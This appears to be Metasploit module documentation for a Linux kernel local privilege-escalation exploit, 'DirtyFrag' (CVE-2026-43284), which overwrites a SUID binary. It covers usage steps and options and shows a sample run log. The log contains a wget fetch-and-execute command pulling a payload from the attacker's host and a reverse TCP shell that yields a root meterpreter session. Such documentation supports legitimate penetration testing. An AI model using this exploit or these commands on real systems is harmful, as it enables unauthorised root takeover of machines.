## Vulnerable Application

This module exploits CVE-2026-43284, a Linux kernel page-cache write vulnerability in the
IPsec/xfrm subsystem affecting ESP (Encapsulating Security Payload) fragmentation. Dubbed
"DirtyFrag", the bug allows a local unprivileged user to gain write access to read-only
page-cache pages by triggering a race condition in how the kernel handles shared fragments
when processing ESP-encapsulated UDP packets. The exploit overwrites a SUID binary on disk
to execute an arbitrary payload as root.

The vulnerability is present in Linux kernels that have the `esp4` module loaded and have
not been patched with the `SKBFL_SHARED_FRAG` fix. 

## Verification Steps

1. Obtain a shell or meterpreter session on a vulnerable Linux host
1. Start msfconsole
1. Do: `use exploit/linux/local/cve_2026_43284_dirty_frag`
1. Do: `set SESSION [session number]`
1. Do: `set LHOST [your IP]`
1. Do: `run`
1. You should get a root shell.


## Options

### WRITABLE_DIR

A directory on the target system where the exploit binary and payload will be uploaded. Must
be writable by the current user. 

### SUID_BINARY_PATH

The path to a SUID binary on the target that the exploit will overwrite to execute the
payload as root. The binary must exist and have the SUID bit set. 

## Scenarios

```
msf exploit(linux/local/cve_2026_43284_dirty_frag) > run verbose=true 
[*] Command to run on remote host: wget -qO ./OxTilUyWAu http://10.38.36.19:8080/oEkeYGBKE-b-br4JJwrvNw;chmod +x ./OxTilUyWAu;./OxTilUyWAu&
[*] Fetch handler listening on 10.38.36.19:8080
[*] HTTP server started
[*] Adding resource /oEkeYGBKE-b-br4JJwrvNw
[*] Started reverse TCP handler on 10.38.36.19:4444 
[*] Live compiling exploit on system...
[*] Client 10.11.58.111 requested /oEkeYGBKE-b-br4JJwrvNw
[*] Sending payload to 10.11.58.111 (Wget/1.25.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 10.11.58.111
[*] Meterpreter session 2 opened (10.38.36.19:4444 -> 10.11.58.111:58187) at 2026-05-17 19:23:18 +0200

meterpreter > getuid
Server username: root
```

